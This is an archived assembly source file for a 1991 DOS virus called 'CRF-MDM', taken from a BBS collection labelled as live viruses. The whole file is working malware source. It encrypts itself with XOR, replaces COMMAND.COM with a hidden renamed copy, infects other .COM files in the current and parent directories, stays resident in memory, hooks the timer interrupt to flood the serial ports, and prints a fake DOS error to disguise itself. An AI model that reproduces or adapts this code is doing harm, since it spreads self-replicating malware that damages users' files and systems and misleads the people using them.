home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / c2.asm < prev    next >
Assembly Source File  |  1991-08-12  |  11KB  |  365 lines

  1.     title "CRF-MDM virus.  Born on the Fourth of July.  Written by TBSI."
  2.                             page 60,80
  3. code segment                        word public 'code'
  4.                             assume cs:code,ds:code
  5.                             org    100h
  6.                             main proc;edure
  7.                             cr        equ 13
  8.                             lf        equ 10
  9.                             max2kill    equ 3
  10.  
  11. tof:                            ;Top-Of-File
  12.         jmp    short begin            ;Skip over program
  13.         nop                    ;Reserve 3rd byte
  14. EOFMARK:    db    26                ;Disable DOS's TYPE
  15.  
  16. first_four:    nop                    ;First run copy only!
  17. address:    int    20h                ;First run copy only!
  18. check:        nop                    ;First run copy only!
  19.  
  20. begin:        call    nextline            ;Push BP onto stack
  21. nextline:    pop    bp                ;BP=location of Skip
  22.         sub    bp,offset nextline        ;BP=offset from 1st run
  23.  
  24.         lea    bx,[bp+offset continue_here]    ;Where to start at
  25.         push    bx                ;and where to RET to
  26.  
  27. cryptor:    mov    al,[bp+offset code_number]    ;Get code number
  28.         mov    cx,offset eof-offset continue_here   ;Length of code
  29. cryptor_loop:    xor    [bx],al                ;En/De crypt
  30.         inc    bx                ;Next byte
  31.         loop    cryptor_loop            ;Keep going
  32.         ret                    ;All done
  33.  
  34. code_number    db    0                ;Code number
  35.  
  36. infect:        pop    ax                ;Saved AX for INT 21h
  37.         pop    bx                ;Saved BX for INT 21h
  38.         pop    cx                ;Saved CX for INT 21h
  39.         int    21h                ;Do INT 21h
  40.         pop    bx                ;Saved BX for cryptor
  41.         ret                    ;Jump to cryptor
  42.  
  43. continue_here:    mov    byte ptr [bp+offset inCC],0    ;Enable TSRing
  44.         mov    byte ptr [bp+offset infected],0    ;Reset infection count
  45.         mov    si,2Ch                ;New code number's addr
  46.         mov    dl,[si]                ;DL=env. seg's low byte
  47.         mov    [bp+offset code_number],dl    ;Save lower byte as CN
  48.  
  49.         lea    si,[bp+offset first_four]    ;Original first 4 bytes
  50.         mov    di,offset tof            ;TOF never changes
  51.         mov    cx,4                ;Lets copy 4 bytes
  52.         cld                    ;Read left-to-right
  53.         rep    movsb                ;Copy the 4 bytes
  54.  
  55.         mov    ah,1Ah                ;Set DTA address ...
  56.         lea    dx,[bp+offset DTA]        ; ... to *our* DTA
  57.         int    21h                ;Call DOS to set DTA
  58.  
  59.         cmp    byte ptr [bp+offset fname],'*'    ;1st byte '*' ???
  60.         jne    SoWhat                ;Nope, let's go on!
  61.         inc    byte ptr [bp+offset inCC]    ;DO NOT TSR!!!
  62.         jmp    short start_search        ;Go get normal files
  63.  
  64. SoWhat:        xor    si,si                ;SI=0
  65.         mov    ds,si                ;DS=0
  66.         mov    si,33Ch                ;Point to TSRflag
  67.         lodsb                    ;AL=TSR indicator
  68.         push    cs                ;Transfer CS ...
  69.         pop    ds                ; ... to DS
  70.         cmp    al,0CFh                ;TSR flag set?
  71.         je    start_search            ;yes, go elsewhere
  72.  
  73.         mov    ah,56h                ;Rename file
  74.         lea    dx,[bp+offset cmdspec]        ;DS:DX-} C:\COMMAND.COM
  75.         lea    di,[bp+offset hidspec]        ;ES:DI-} COMMAND .COM
  76.         int    21h                ;Rename it
  77.         jc    start_search            ;Oops!
  78.  
  79.         mov    ah,3Ch                ;Create file
  80.         mov    cx,0000000000000010B        ;w/attributes: ----H-
  81.         int    21h                ;Call DOS to create it
  82.         jc    start_search            ;Oops!
  83.         mov    bx,ax                ;Save handle
  84.         mov    ah,40H                ;Write to file
  85.         mov    cx,8                ;8 bytes
  86.         lea    dx,[bp+offset blankfile]    ;Point to 8 NOPs
  87.         int    21h                ;Write to file
  88.         mov    ah,3eh                ;Close file
  89.         int    21h                ;Call DOS to ^
  90.  
  91.         mov    ax,3D02h            ;Open file
  92.         lea    dx,[bp+offset cmdspec]        ;DS:DX-} C:\COMMAND.COM
  93.         int    21h                ;Open file
  94.         mov    byte ptr [bp+offset filename],'*'  ;Set flag
  95.         jnc    get_command_com            ;Go get it!
  96.  
  97. StartUp:    mov    byte ptr [bp+offset flag],0    ;Clear flag
  98. start_search:    mov    ah,4Eh                ;Find First ASCIIZ
  99.         lea    dx,[bp+offset filespec]        ;DS:DX -} '*.COM',0
  100.         push    dx                ;Save DX
  101.         jmp    short continue            ;Continue...
  102.  
  103. return:        mov    ah,1ah                ;Set DTA address ...
  104.         mov    dx,80h                ; ... to default DTA
  105.         int    21h                ;Call DOS to set DTA
  106.         xor    ax,ax                ;AX= 0
  107.         mov    bx,ax                ;BX= 0
  108.         mov    cx,ax                ;CX= 0
  109.         mov    dx,ax                ;DX= 0
  110.         mov    si,ax                ;SI= 0
  111.         mov    di,ax                ;DI= 0
  112.         mov    sp,0FFFEh            ;SP= 0
  113.         mov    bp,100h                ;BP= 100h (RETurn addr)
  114.         push    bp                ; Put on stack
  115.         mov    bp,ax                ;BP= 0
  116.         ret                    ;JMP to 100h
  117.  
  118. nextfile:    or    bx,bx                ;Did we open the file?
  119.         jz    skipclose            ;No, so don't close it
  120.         mov    ah,3Eh                ;Close file
  121.         int    21h                ;Call DOS to close it
  122.         xor    bx,bx                ;Set BX back to 0
  123. skipclose:    mov    ah,4Fh                ;Find Next ASCIIZ
  124.  
  125.         cmp    byte ptr [bp+offset flag],0    ;Flag set?
  126.         jnz    StartUp                ;Flag was set
  127.  
  128. continue:    pop    dx                ;Restore DX
  129.         push    dx                ;Re-save DX
  130.         xor    cx,cx                ;CX= 0
  131.         xor    bx,bx
  132.         int    21h                ;Find First/Next
  133.         jnc    skipjmp
  134.         jmp    NoneLeft            ;Out of files
  135.  
  136. skipjmp:    cmp    byte ptr [bp+offset filename+7],' '   ;8th char a 255?
  137.         jne    open_it                ;Nope, this one's okay!
  138.         mov    byte ptr [bp+offset filename+7],'.'   ;Change it
  139.         jmp    nextfile            ;Next file please!
  140.  
  141. open_it:    mov    ax,3D02h            ;open file
  142.         lea    dx,[bp+offset filename]        ;Point to file
  143.         int    21h                ;Call DOS to open file
  144.         jc    nextfile            ;Next file if error
  145.  
  146. get_command_com:
  147.         mov    bx,ax                ;get the handle
  148.         mov    ah,3Fh                ;Read from file
  149.         mov    cx,4                ;Read 4 bytes
  150.         lea    dx,[bp+offset first_four]    ;Read in the first 4
  151.         int    21h                ;Call DOS to read
  152.  
  153.         cmp    byte ptr [bp+offset check],26    ;Already infected?
  154.         je    nextfile            ;Yep, try again ...
  155.         cmp    byte ptr [bp+offset first_four],77  ;Mis-named .EXE?
  156.         je    nextfile            ;Yep, maybe next time!
  157.  
  158.         mov    ax,4202h            ;LSeek to EOF
  159.         xor    cx,cx                ;CX= 0
  160.         xor    dx,dx                ;DX= 0
  161.         int    21h                ;Call DOS to LSeek
  162.  
  163.         cmp    ax,0FD00h            ;Longer than 63K?
  164.         ja    nextfile            ;Yep, try again...
  165.         cmp    ax,8                ;Shorter than 8 bytes?
  166.         jb    nextfile            ;Yep, try again...
  167.         mov    [bp+offset addr],ax        ;Save call location
  168.  
  169.         mov    ah,40h                ;Write to file
  170.         mov    cx,4                ;Write 4 bytes
  171.         lea    dx,[bp+offset first_four]    ;Point to buffer
  172.         int    21h                ;Save the first 4 bytes
  173.  
  174.         push    cs
  175.         push    cs
  176.         pop    ds
  177.         pop    es
  178.  
  179.         mov    cx,13                ;13 bytes
  180.         lea    si,[bp+offset filename]        ;Target's filename
  181.         lea    di,[bp+offset fname]        ;Destination for ^
  182.         rep    movsb                ;Copy it
  183.  
  184. ; This may be a little confusing, but it sets up the stack for infection
  185.  
  186.         push    bx                ;Save handle for later
  187.         lea    dx,[bp+offset return_here]    ;RETaddr for cryptor
  188.         push    dx                ;Save it
  189.         lea    dx,[bp+offset cryptor]        ;RETaddr for infect
  190.         push    dx                ;Save it
  191.         lea    dx,[bp+offset continue_here]    ;Start addr for cryptor
  192.         push    dx                ;Save it
  193.         mov    si,dx                ;Save in SI
  194.         mov    ah,40h                ;Write to file
  195.         mov    cx,offset eof-offset begin    ;Length of target code
  196.         push    cx                ;CX for INT 21h
  197.         push    bx                ;BX for INT 21h
  198.         push    ax                ;AX for INT 21h
  199.         lea    dx,[bp+offset infect]        ;Point to infect
  200.         push    dx                ;Save it
  201.         lea    dx,[bp+offset begin]        ;Point to virus start
  202.         mov    bx,si                ;BX=Start addr-}cryptor
  203.         jmp    cryptor                ;Append the virus code
  204.  
  205. return_here:    pop    bx                ;Restore handle
  206.         mov    ax,4200h            ;LSeek to TOF
  207.         xor    cx,cx                ;CX= 0
  208.         xor    dx,dx                ;DX= 0
  209.         int    21h                ;Call DOS to LSeek
  210.  
  211.         mov    ax,[bp+offset addr]        ;Retrieve location
  212.         inc    ax                ;Adjust location
  213.  
  214.         mov    [bp+offset address],ax        ;address to call
  215.         mov    byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst.
  216.         mov    byte ptr [bp+offset check],26    ;EOFMARK
  217.  
  218.         mov    ah,40h                ;Write to file
  219.         mov    cx,4                ;Write 4 bytes
  220.         lea    dx,[bp+offset first_four]    ;4 bytes are at [DX]
  221.         int    21h                ;Write to file
  222.  
  223.         inc    byte ptr [bp+offset infected]    ;increment counter
  224.         cmp    byte ptr [bp+offset infected],max2kill    ;Satisfied yet?
  225.         jnl    NoneLeft            ;We're through!
  226.         jmp    nextfile            ;Any more?
  227.  
  228. NoneLeft:    cmp    byte ptr [bp+offset infected],2    ;At least 2 infected?
  229.         jae    TheEnd                ;The party's over!
  230.  
  231.         mov    di,100h                ;DI= 100h
  232.         cmp    word ptr [di],20CDh        ;an INT 20h?
  233.         je    TheEnd                ;Don't go to prev. dir.
  234.  
  235.         lea    dx,[bp+offset prevdir]        ;'..'
  236.         mov    ah,3Bh                ;Set current directory
  237.         int    21h                ;CHDIR ..
  238.         jc    TheEnd                ;We're through!
  239.         mov    ah,4Eh
  240.         jmp    continue            ;Start over in new dir
  241.  
  242. TheEnd:        xor    di,di                ;SI=0
  243.         mov    ds,di                ;DS=0
  244.         mov    si,33Ch                ;Unused spot in memory
  245.         cmp    byte ptr ds:[si],0CFh        ;Already active?
  246.         jne    TE1                ;Nope, continue
  247.  
  248. PartyOver:    jmp    return                ;The party's over!
  249. Chain:        push    cs                ;Transfer CS ...
  250.         pop    ds                ; ... to DS
  251.         mov    ah,4ah                ;Resize memory
  252.         lea    bx,[bp+offset eop]        ;Point to End-Of-Prog.
  253.         shr    bx,1
  254.         shr    bx,1
  255.         shr    bx,1
  256.         shr    bx,1
  257.         inc    bx                ;BX=Size of block
  258.         int    21h                ;Call DOS to resize mem
  259.                 
  260.         mov    ax,4B00h            ;Load & execute
  261.         lea    dx,[bp+offset hidspec]        ; -} C:\COMMAND .COM
  262.         mov    [bp+offset cs1],cs        ;Save CS in execblock
  263.         mov    [bp+offset cs2],cs        ;Save CS in execblock
  264.         mov    [bp+offset cs3],cs        ;Save CS in execblock
  265.         lea    bx,[bp+offset execblock]    ;Point to spot in PSP
  266.         int    21h                ;Call DOS to ^^^
  267.         jmp    return
  268.  
  269. TE1:        dec    byte ptr [bp+offset inCC]    ;In command.com?
  270.         jz    Chain                ;Yes, stop!
  271.         lea    dx,[bp+offset eof+1]        ;Point to EOF+1
  272.         cmp    dx,0FFF0h            ;Will the value work?
  273.         ja    PartyOver            ;Nope, won't work. Stop
  274.         mov    byte ptr ds:[si],0CFh        ;Set Flag
  275.         push    dx                ;Save DX for later
  276.  
  277.         push    cs                ;Move CS ...
  278.         pop    ds                ; ... to DS
  279.  
  280.         clc                    ;Clear carry
  281.         mov    ax,3508h            ;Get vector for INT 8
  282.         int    21h                ;Call DOS to ^
  283.         mov    [di+0FCh],bx            ;Save offset
  284.         mov    [di+0FEh],es            ;Save segment
  285.  
  286.         lea    dx,[bp+offset our8]        ;Point to routine
  287.         mov    ax,2508h            ;Set vector for INT 8
  288.         int    21h                ;Call DOS to ^
  289.  
  290.         lea    dx,[bp+offset tsrmsg]        ;Point to message
  291.         mov    ah,9                ;Print message
  292.         int    21h                ;Call DOS to ^
  293.  
  294.         pop    dx                ;Restore saved DX
  295.         int    27h                ;Call DOS to TSR
  296.  
  297. our8:        pushf
  298.         push    ax
  299.         push    dx                ;Save DX
  300.         mov    al,'█'                ;Character to use
  301.         mov    dx,2e8h                ;DX=port number
  302.         out    dx,al                ;Send directly to port
  303.         mov    dx,2f8h                ;DX=port number
  304.         out    dx,al                ;Send directly to port
  305.         mov    dx,3e8h                ;DX=port number
  306.         out    dx,al                ;Send directly to port
  307.         mov    dx,3f8h                ;DX=port number
  308.         out    dx,al                ;Send directly to port
  309. not_this_time:    pop    dx                ;Restore DX
  310.         pop    ax
  311.         popf
  312.         jmp    dword ptr cs:[0FCh]        ;Call old handler
  313.  
  314. tsrmsg        db    'Bad command or file name',cr,lf,'$'   ;Faker for TSR
  315. cmdspec        db    'C:\COMMAND.COM',0        ;File specification
  316. hidspec        db    'C:\COMMAND .COM',0        ;File specification
  317.  
  318. filespec    db    '*.COM',0            ;File specification
  319. prevdir        db    '..',0                ;Previous directory
  320. fname        db    '1st run copy!'            ;Filename
  321. blankfile:    nop
  322.         nop
  323.         nop
  324.         nop
  325.         nop
  326.         nop
  327.         nop
  328.         nop
  329.  
  330. execblock    dw    0                ;Use copy of same env.
  331.         dw    80h                ;Points to command tail
  332. cs1:        dw    ?                ;Points to Code Segment
  333.         dw    5Ch                ;Points to 1st FCB
  334. cs2:        dw    ?                ;Points to Code Segment
  335.         dw    6Ch                ;Points to 2nd FCB
  336. cs3:        dw    ?                ;Points to Code Segment
  337.  
  338.  
  339. ; None of this information is included in the virus's code.  It is only used
  340. ; during the search/infect routines and it is not necessary to preserve it
  341. ; in between calls to them.
  342. eof:
  343.  
  344.  
  345.  
  346. DTA:        db    21 dup (?)            ;internal search's data
  347.  
  348. attribute    db    ?                ;attribute
  349. file_time    db    2 dup (?)            ;file's time stamp
  350. file_date    db    2 dup (?)            ;file's date stamp
  351. file_size    db    4 dup (?)            ;file's size
  352. filename    db    13 dup (?)            ;filename
  353.  
  354. infected    db    ?                ;infection count
  355.  
  356. addr        dw    ?                ;Address
  357. flag        db    ?                ;Flag
  358. incc        db    ?                ;Flag
  359.  
  360. eop:
  361.  
  362.                             main endp;rocedure
  363.                             code ends;egment
  364.  
  365.             end main